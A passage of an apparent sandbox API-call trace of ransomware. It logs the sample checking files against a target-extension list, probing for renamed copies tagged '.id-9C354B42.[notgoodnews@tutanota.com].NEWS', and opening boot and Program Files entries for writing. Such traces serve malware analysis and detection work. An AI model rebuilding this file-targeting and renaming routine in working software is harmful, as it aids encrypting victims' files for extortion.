[0195.527] lstrlenW (lpString=".rar") returned 4 [0195.527] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0195.528] lstrlenW (lpString=".bz2") returned 4 [0195.528] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0195.528] lstrlenW (lpString=".7z") returned 3 [0195.528] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0195.528] lstrlenW (lpString="C:\\Boot\\Fonts\\cht_boot.ttf") returned 26 [0195.528] lstrlenW (lpString=".dbf") returned 4 [0195.528] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0195.528] lstrlenW (lpString="C:\\Boot\\Fonts\\cht_boot.ttf") returned 26 [0195.528] lstrlenW (lpString=".1cd") returned 4 [0195.528] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0195.529] lstrlenW (lpString="C:\\Boot\\Fonts\\cht_boot.ttf") returned 26 [0195.529] lstrlenW (lpString=".jpg") returned 4 [0195.529] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0195.529] lstrlenW (lpString="C:\\Boot\\Fonts\\cht_boot.ttf") returned 26 [0195.529] lstrlenW (lpString="C:\\Boot\\Fonts\\cht_boot.ttf") returned 26 [0195.529] lstrlenW (lpString=".doc") returned 4 [0195.529] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0195.529] lstrlenW (lpString=".docx") returned 5 [0195.529] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0195.529] lstrlenW (lpString=".pdf") returned 4 [0195.529] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0195.529] lstrlenW (lpString=".xls") returned 4 [0195.530] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0195.530] lstrlenW (lpString=".xlsx") returned 5 [0195.530] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0195.530] lstrlenW (lpString=".ppt") returned 4 [0195.530] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0195.530] lstrlenW (lpString="C:\\Boot\\Fonts\\cht_boot.ttf") returned 26 [0195.530] lstrlenW (lpString=".zip") returned 4 [0195.530] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0195.531] lstrlenW (lpString=".rar") returned 4 [0195.531] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0195.531] lstrlenW (lpString=".bz2") returned 4 [0195.531] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0195.531] lstrlenW (lpString=".7z") returned 3 [0195.531] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0195.531] lstrlenW (lpString="C:\\Boot\\Fonts\\cht_boot.ttf") returned 26 [0195.532] lstrlenW (lpString=".dbf") returned 4 [0195.532] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0195.532] lstrlenW (lpString="C:\\Boot\\Fonts\\cht_boot.ttf") returned 26 [0195.532] lstrlenW (lpString=".1cd") returned 4 [0195.532] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0195.532] lstrlenW (lpString="C:\\Boot\\Fonts\\cht_boot.ttf") returned 26 [0195.532] lstrlenW (lpString=".jpg") returned 4 [0195.533] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0195.535] lstrcmpiW (lpString1=".mui", lpString2=".NEWS") returned -1 [0195.535] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0195.535] CreateFileW (lpFileName="C:\\Boot\\sv-SE\\bootmgr.exe.mui" (normalized: "c:\\boot\\sv-se\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0195.536] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x306ff1c | out: lpFileSize=0x306ff1c*=87616) returned 1 [0195.536] CloseHandle (hObject=0x208) returned 1 [0195.536] GetFileAttributesW (lpFileName="C:\\Boot\\sv-SE\\bootmgr.exe.mui" (normalized: "c:\\boot\\sv-se\\bootmgr.exe.mui")) returned 0x20 [0195.536] GetFileAttributesW (lpFileName="C:\\Boot\\sv-SE\\bootmgr.exe.mui.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\boot\\sv-se\\bootmgr.exe.mui.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0195.537] CreateFileW (lpFileName="C:\\Boot\\sv-SE\\bootmgr.exe.mui" (normalized: "c:\\boot\\sv-se\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0195.537] lstrlenW (lpString="C:\\Boot\\sv-SE\\bootmgr.exe.mui") returned 29 [0195.537] lstrlenW (lpString="C:\\Boot\\sv-SE\\bootmgr.exe.mui") returned 29 [0195.537] lstrlenW (lpString=".doc") returned 4 [0195.537] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0195.538] lstrlenW (lpString=".docx") returned 5 [0195.538] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0195.538] lstrlenW (lpString=".pdf") returned 4 [0195.538] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0195.538] lstrlenW (lpString=".xls") returned 4 [0195.538] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0195.538] lstrlenW (lpString=".xlsx") returned 5 [0195.538] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0195.539] lstrlenW (lpString=".ppt") returned 4 [0195.539] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0195.539] lstrlenW (lpString="C:\\Boot\\sv-SE\\bootmgr.exe.mui") returned 29 [0195.539] lstrlenW (lpString=".zip") returned 4 [0195.539] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0195.539] lstrlenW (lpString=".rar") returned 4 [0195.539] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0195.539] lstrlenW (lpString=".bz2") returned 4 [0195.540] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0195.540] lstrlenW (lpString=".7z") returned 3 [0195.540] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0195.540] lstrlenW (lpString="C:\\Boot\\sv-SE\\bootmgr.exe.mui") returned 29 [0195.540] lstrlenW (lpString=".dbf") returned 4 [0195.540] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0195.540] lstrlenW (lpString="C:\\Boot\\sv-SE\\bootmgr.exe.mui") returned 29 [0195.541] lstrlenW (lpString=".1cd") returned 4 [0195.541] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0195.541] lstrlenW (lpString="C:\\Boot\\sv-SE\\bootmgr.exe.mui") returned 29 [0195.541] lstrlenW (lpString=".jpg") returned 4 [0195.541] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0195.541] lstrlenW (lpString="C:\\Boot\\sv-SE\\bootmgr.exe.mui") returned 29 [0195.541] lstrlenW (lpString="C:\\Boot\\sv-SE\\bootmgr.exe.mui") returned 29 [0195.541] lstrlenW (lpString=".doc") returned 4 [0195.542] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0195.542] lstrlenW (lpString=".docx") returned 5 [0195.542] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0195.542] lstrlenW (lpString=".pdf") returned 4 [0195.542] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0195.542] lstrlenW (lpString=".xls") returned 4 [0195.542] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0195.542] lstrlenW (lpString=".xlsx") returned 5 [0195.542] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0195.542] lstrlenW (lpString=".ppt") returned 4 [0195.542] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0195.542] lstrlenW (lpString="C:\\Boot\\sv-SE\\bootmgr.exe.mui") returned 29 [0195.542] lstrlenW (lpString=".zip") returned 4 [0195.543] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0195.543] lstrlenW (lpString=".rar") returned 4 [0195.543] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0195.543] lstrlenW (lpString=".bz2") returned 4 [0195.543] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0195.543] lstrlenW (lpString=".7z") returned 3 [0195.543] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0195.543] lstrlenW (lpString="C:\\Boot\\sv-SE\\bootmgr.exe.mui") returned 29 [0195.543] lstrlenW (lpString=".dbf") returned 4 [0195.543] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0195.543] lstrlenW (lpString="C:\\Boot\\sv-SE\\bootmgr.exe.mui") returned 29 [0195.543] lstrlenW (lpString=".1cd") returned 4 [0195.544] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0195.544] lstrlenW (lpString="C:\\Boot\\sv-SE\\bootmgr.exe.mui") returned 29 [0195.544] lstrlenW (lpString=".jpg") returned 4 [0195.544] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0195.544] lstrcmpiW (lpString1=".mui", lpString2=".NEWS") returned -1 [0195.544] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0195.544] CreateFileW (lpFileName="C:\\Boot\\tr-TR\\bootmgr.exe.mui" (normalized: "c:\\boot\\tr-tr\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0195.545] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x306ff1c | out: lpFileSize=0x306ff1c*=87104) returned 1 [0195.545] CloseHandle (hObject=0x208) returned 1 [0195.545] GetFileAttributesW (lpFileName="C:\\Boot\\tr-TR\\bootmgr.exe.mui" (normalized: "c:\\boot\\tr-tr\\bootmgr.exe.mui")) returned 0x20 [0195.545] GetFileAttributesW (lpFileName="C:\\Boot\\tr-TR\\bootmgr.exe.mui.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\boot\\tr-tr\\bootmgr.exe.mui.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0195.545] CreateFileW (lpFileName="C:\\Boot\\tr-TR\\bootmgr.exe.mui" (normalized: "c:\\boot\\tr-tr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0195.546] lstrlenW (lpString="C:\\Boot\\tr-TR\\bootmgr.exe.mui") returned 29 [0195.546] lstrlenW (lpString="C:\\Boot\\tr-TR\\bootmgr.exe.mui") returned 29 [0195.546] lstrlenW (lpString=".doc") returned 4 [0195.546] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0195.546] lstrlenW (lpString=".docx") returned 5 [0195.546] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0195.546] lstrlenW (lpString=".pdf") returned 4 [0195.546] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0195.546] lstrlenW (lpString=".xls") returned 4 [0195.546] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0195.547] lstrlenW (lpString=".xlsx") returned 5 [0195.547] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0195.547] lstrlenW (lpString=".ppt") returned 4 [0195.547] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0195.547] lstrlenW (lpString="C:\\Boot\\tr-TR\\bootmgr.exe.mui") returned 29 [0195.547] lstrlenW (lpString=".zip") returned 4 [0195.547] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0195.547] lstrlenW (lpString=".rar") returned 4 [0195.547] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0195.547] lstrlenW (lpString=".bz2") returned 4 [0195.547] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0195.547] lstrlenW (lpString=".7z") returned 3 [0195.547] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0195.547] lstrlenW (lpString="C:\\Boot\\tr-TR\\bootmgr.exe.mui") returned 29 [0195.548] lstrlenW (lpString=".dbf") returned 4 [0195.548] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0195.548] lstrlenW (lpString="C:\\Boot\\tr-TR\\bootmgr.exe.mui") returned 29 [0195.548] lstrlenW (lpString=".1cd") returned 4 [0195.548] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0195.548] lstrlenW (lpString="C:\\Boot\\tr-TR\\bootmgr.exe.mui") returned 29 [0195.548] lstrlenW (lpString=".jpg") returned 4 [0195.548] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0195.548] lstrlenW (lpString="C:\\Boot\\tr-TR\\bootmgr.exe.mui") returned 29 [0195.548] lstrlenW (lpString="C:\\Boot\\tr-TR\\bootmgr.exe.mui") returned 29 [0195.548] lstrlenW (lpString=".doc") returned 4 [0195.549] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0195.549] lstrlenW (lpString=".docx") returned 5 [0195.549] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0195.549] lstrlenW (lpString=".pdf") returned 4 [0195.549] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0195.549] lstrlenW (lpString=".xls") returned 4 [0195.549] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0195.549] lstrlenW (lpString=".xlsx") returned 5 [0195.549] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0195.549] lstrlenW (lpString=".ppt") returned 4 [0195.549] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0195.550] lstrlenW (lpString="C:\\Boot\\tr-TR\\bootmgr.exe.mui") returned 29 [0195.550] lstrlenW (lpString=".zip") returned 4 [0195.550] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0195.550] lstrlenW (lpString=".rar") returned 4 [0195.550] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0195.550] lstrlenW (lpString=".bz2") returned 4 [0195.550] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0195.550] lstrlenW (lpString=".7z") returned 3 [0195.550] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0195.550] lstrlenW (lpString="C:\\Boot\\tr-TR\\bootmgr.exe.mui") returned 29 [0195.550] lstrlenW (lpString=".dbf") returned 4 [0195.550] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0195.550] lstrlenW (lpString="C:\\Boot\\tr-TR\\bootmgr.exe.mui") returned 29 [0195.550] lstrlenW (lpString=".1cd") returned 4 [0195.551] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0195.551] lstrlenW (lpString="C:\\Boot\\tr-TR\\bootmgr.exe.mui") returned 29 [0195.551] lstrlenW (lpString=".jpg") returned 4 [0195.551] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0195.551] lstrcmpiW (lpString1=".mui", lpString2=".NEWS") returned -1 [0195.551] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0195.551] CreateFileW (lpFileName="C:\\Boot\\zh-CN\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-cn\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0195.552] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x306ff1c | out: lpFileSize=0x306ff1c*=70720) returned 1 [0195.552] CloseHandle (hObject=0x208) returned 1 [0195.552] GetFileAttributesW (lpFileName="C:\\Boot\\zh-CN\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-cn\\bootmgr.exe.mui")) returned 0x20 [0195.553] GetFileAttributesW (lpFileName="C:\\Boot\\zh-CN\\bootmgr.exe.mui.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\boot\\zh-cn\\bootmgr.exe.mui.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0195.553] CreateFileW (lpFileName="C:\\Boot\\zh-CN\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-cn\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0195.553] lstrlenW (lpString="C:\\Boot\\zh-CN\\bootmgr.exe.mui") returned 29 [0195.553] lstrlenW (lpString="C:\\Boot\\zh-CN\\bootmgr.exe.mui") returned 29 [0195.553] lstrlenW (lpString=".doc") returned 4 [0195.553] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0195.553] lstrlenW (lpString=".docx") returned 5 [0195.553] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0195.553] lstrlenW (lpString=".pdf") returned 4 [0195.554] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0195.554] lstrlenW (lpString=".xls") returned 4 [0195.554] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0195.554] lstrlenW (lpString=".xlsx") returned 5 [0195.554] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0195.554] lstrlenW (lpString=".ppt") returned 4 [0195.554] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0195.554] lstrlenW (lpString="C:\\Boot\\zh-CN\\bootmgr.exe.mui") returned 29 [0195.554] lstrlenW (lpString=".zip") returned 4 [0195.554] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0195.554] lstrlenW (lpString=".rar") returned 4 [0195.555] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0195.555] lstrlenW (lpString=".bz2") returned 4 [0195.555] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0195.555] lstrlenW (lpString=".7z") returned 3 [0195.555] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0195.555] lstrlenW (lpString="C:\\Boot\\zh-CN\\bootmgr.exe.mui") returned 29 [0195.555] lstrlenW (lpString=".dbf") returned 4 [0195.555] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0195.555] lstrlenW (lpString="C:\\Boot\\zh-CN\\bootmgr.exe.mui") returned 29 [0195.555] lstrlenW (lpString=".1cd") returned 4 [0195.556] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0195.556] lstrlenW (lpString="C:\\Boot\\zh-CN\\bootmgr.exe.mui") returned 29 [0195.556] lstrlenW (lpString=".jpg") returned 4 [0195.556] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0195.556] lstrlenW (lpString="C:\\Boot\\zh-CN\\bootmgr.exe.mui") returned 29 [0195.556] lstrlenW (lpString="C:\\Boot\\zh-CN\\bootmgr.exe.mui") returned 29 [0195.556] lstrlenW (lpString=".doc") returned 4 [0195.556] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0195.556] lstrlenW (lpString=".docx") returned 5 [0195.556] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0195.556] lstrlenW (lpString=".pdf") returned 4 [0195.556] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0195.557] lstrlenW (lpString=".xls") returned 4 [0195.557] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0195.557] lstrlenW (lpString=".xlsx") returned 5 [0195.557] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0195.557] lstrlenW (lpString=".ppt") returned 4 [0195.557] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0195.557] lstrlenW (lpString="C:\\Boot\\zh-CN\\bootmgr.exe.mui") returned 29 [0195.557] lstrlenW (lpString=".zip") returned 4 [0195.557] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0195.557] lstrlenW (lpString=".rar") returned 4 [0195.557] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0195.557] lstrlenW (lpString=".bz2") returned 4 [0195.557] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0195.557] lstrlenW (lpString=".7z") returned 3 [0195.558] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0195.558] lstrlenW (lpString="C:\\Boot\\zh-CN\\bootmgr.exe.mui") returned 29 [0195.558] lstrlenW (lpString=".dbf") returned 4 [0195.558] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0195.558] lstrlenW (lpString="C:\\Boot\\zh-CN\\bootmgr.exe.mui") returned 29 [0195.558] lstrlenW (lpString=".1cd") returned 4 [0195.558] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0195.558] lstrlenW (lpString="C:\\Boot\\zh-CN\\bootmgr.exe.mui") returned 29 [0195.558] lstrlenW (lpString=".jpg") returned 4 [0195.558] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0195.559] lstrcmpiW (lpString1=".mui", lpString2=".NEWS") returned -1 [0195.559] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0195.559] CreateFileW (lpFileName="C:\\Boot\\zh-HK\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-hk\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0195.560] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x306ff1c | out: lpFileSize=0x306ff1c*=70224) returned 1 [0195.560] CloseHandle (hObject=0x208) returned 1 [0195.560] GetFileAttributesW (lpFileName="C:\\Boot\\zh-HK\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-hk\\bootmgr.exe.mui")) returned 0x20 [0195.560] GetFileAttributesW (lpFileName="C:\\Boot\\zh-HK\\bootmgr.exe.mui.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\boot\\zh-hk\\bootmgr.exe.mui.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0195.560] CreateFileW (lpFileName="C:\\Boot\\zh-HK\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-hk\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0195.614] lstrlenW (lpString="C:\\Boot\\zh-HK\\bootmgr.exe.mui") returned 29 [0195.614] lstrlenW (lpString="C:\\Boot\\zh-HK\\bootmgr.exe.mui") returned 29 [0195.614] lstrlenW (lpString=".doc") returned 4 [0195.614] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0195.614] lstrlenW (lpString=".docx") returned 5 [0195.614] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0195.614] lstrlenW (lpString=".pdf") returned 4 [0195.614] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0195.614] lstrlenW (lpString=".xls") returned 4 [0195.614] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0195.614] lstrlenW (lpString=".xlsx") returned 5 [0195.614] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0195.615] lstrlenW (lpString=".ppt") returned 4 [0195.615] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0195.615] lstrlenW (lpString="C:\\Boot\\zh-HK\\bootmgr.exe.mui") returned 29 [0195.615] lstrlenW (lpString=".zip") returned 4 [0195.615] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0195.615] lstrlenW (lpString=".rar") returned 4 [0195.615] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0195.615] lstrlenW (lpString=".bz2") returned 4 [0195.615] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0195.615] lstrlenW (lpString=".7z") returned 3 [0195.615] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0195.616] lstrlenW (lpString="C:\\Boot\\zh-HK\\bootmgr.exe.mui") returned 29 [0195.616] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0195.616] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0195.616] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0195.616] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0195.616] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0195.617] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0195.617] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0195.617] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0195.617] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0195.617] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0195.617] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0195.617] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0195.618] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0195.618] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0195.618] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0195.618] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0195.618] lstrcmpiW (lpString1=".exe", lpString2=".NEWS") returned -1 [0195.644] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x306ff1c | out: lpFileSize=0x306ff1c*=78336) returned 1 [0195.644] CloseHandle (hObject=0x208) returned 1 [0195.644] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\active-charge.exe" (normalized: "c:\\program files\\common files\\active-charge.exe")) returned 0x20 [0195.644] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\active-charge.exe.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\active-charge.exe.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0195.645] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\active-charge.exe" (normalized: "c:\\program files\\common files\\active-charge.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0195.645] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0195.645] lstrcmpiW (lpString1=".docx", lpString2="e.exe") returned -1 [0195.645] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0195.645] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0195.646] lstrcmpiW (lpString1=".xlsx", lpString2="e.exe") returned -1 [0195.646] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0195.646] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0195.646] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0195.646] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0195.646] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0195.646] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0195.646] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0195.647] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0195.647] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0195.647] lstrcmpiW (lpString1=".docx", lpString2="e.exe") returned -1 [0195.647] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0195.647] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0195.647] lstrcmpiW (lpString1=".xlsx", lpString2="e.exe") returned -1 [0195.647] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0195.648] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0195.648] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0195.648] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0195.648] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0195.648] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0195.648] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0195.648] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0195.649] lstrcmpiW (lpString1=".DLL", lpString2=".NEWS") returned -1 [0195.835] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x306ff1c | out: lpFileSize=0x306ff1c*=99136) returned 1 [0195.835] CloseHandle (hObject=0x208) returned 1 [0195.835] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL" (normalized: "c:\\program files\\common files\\designer\\msaddndr.dll")) returned 0x20 [0195.835] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\designer\\msaddndr.dll.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0195.836] CreateFileW (lpFileName="C:\\Program Files\\Common 